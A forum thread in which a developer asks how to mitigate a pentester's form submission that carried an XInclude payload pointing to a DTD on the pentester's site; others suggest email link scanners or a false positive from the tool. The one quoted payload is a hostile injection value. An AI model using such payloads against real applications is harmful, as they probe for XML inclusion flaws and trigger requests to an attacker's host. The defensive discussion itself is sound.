Recently we had a pentester programmatically submit a form to one of our pages with this sort of value in one field:

<kwp xmlns:xi="<http://www.w3.org/2001/XInclude>"><xi=include href="<http://some-page-on-pentesters-sit.dtd>"/></kwp>

That had the effect or requesting that doc from the remote site. The page on our site didn't echo that value out, so it seems like it's the original POST that fetches that document from the remote site, and I don't see how I can do anything to prevent that. I also can't reproduce it by including a hidden field with that value pointing to a page on our own site, but their form had a bunch of other values in other fields too, including a checksum etc. Is anyone familiar with this sort of hack tech, or how I can mitigate it? Any user entered values that do get rendered on the page are htmlEditFormat() encoded, so they're not active HTML. What else should I be doing?

Did it send you an error email which had that link in it? Had something similar and I eventually tracked it down to the actual emails that get sent when an error occurs which contained the link (form / url scopes for debugging) and then a mail virus scanner checking the email and following the links. So the server was actually not compromised at all! If you can find out what IP address requested the URL that will probably show that it didn't come from your server at all.

I'd be dead keen to better understand the vector here. Also somewhat bemused that the pen testers didn't clearly explain it to you. It's kinda vital that you understand how it works so you can close the vulnerability & test same.

There is no vector (as far as I'm concerned). The pen testers will likely just be running some standard suite and the payload has links in it. They report that the link was followed and therefore your server is calling the outside world, which could be a false flag.

why don't we enable scriptprotect for the application? It looks kinda like an XSS attack!?

As it's not a XSS attack 🙂

Thanks guys. My strong suspicion is that the script or tool the pentesters used generated the off-site request itself, which they then reported to us as a vulnerability, in which case, bah. I'm working with our people who commissioned the pentest to get a clear response to my suggestion that that's what's happening. We definitively DO NOT echo the content of that field out to the screen, so I really don't see how that off-site request could be generated by us. Cynically, if their tool made the suspect request itself, then they get to cry FIRE on every site they test, makes for good business, in the short run, maybe. Further: • I've looked at the IPs that requested the test file from the pentester's site, and none of them are the site they were testing for us, but they might not have given us the full list. • Email isn't involved in any way. • I agree that ideally the pentesters should have communicated more clearly what remediation would look like, but I don't expect them to be familiar with every tech that can serve a site. • Goofy-tragic side note: It was like pulling teeth to get our own people to let me see the actual pentest result doc, and I'm the person charged with remediation! It's considered sensitive, which I get, but that's not a practical plan. I did eventually get access to it.